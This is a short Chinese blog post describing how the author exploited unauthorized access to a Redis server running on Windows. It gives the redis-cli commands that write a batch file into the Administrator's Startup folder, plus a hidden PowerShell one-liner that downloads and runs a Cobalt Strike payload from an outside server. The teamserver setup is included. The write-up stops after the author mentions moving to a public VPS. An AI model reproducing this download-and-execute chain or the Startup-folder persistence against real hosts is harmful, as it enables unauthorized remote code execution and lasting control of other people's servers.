Windows环境下redis未授权访问的利用

linux环境下redis未授权访问获取权限的文章教程很多也比较全,但是在windows下的利用文章确鲜少。windows下的利用可以通过启动项获取权限或者获取网站绝对路径写入wenshell(当然肯定还有其他的方法),简单记录一下。

  • 0x01 背景

前面搞到了一个redis未授权访问,想通过定时任务获取权限,结果:

 

虽然有可能是其他原因,后面的进一步测试才发现,目标主机是一台windows,/var/spool/cron是linux的crontab计划任务,如果是windows的话,可以使用启动项。

  • 0x02 写入启动项

windows下启动项的目录为:

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

 内网中在这里我选在CS做C2,先启动一个服务端:

 ./teamserver x.x.x.x 555

 客户端连接,添加一个listener:

 

 

 

 

 

选择刚才的listener,launch生成代码:

 

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"

 

保存为1.bat。本地启动redis服务端,并未授权访问:

 

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename 1.bat
+OK
set x “\r\n\r\npowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”\r\n\r\n”
+OK
save 
+OK

  

这里因为权限问题,换了一台靶机,没有截图,重启靶机(这是比较坑的地方),因为靶机可以出网,选择了一台公网的vps做CS服务端:

 

posted @ 2020-04-09 22:30  2rSh0u  阅读(1566)  评论(0编辑  收藏  举报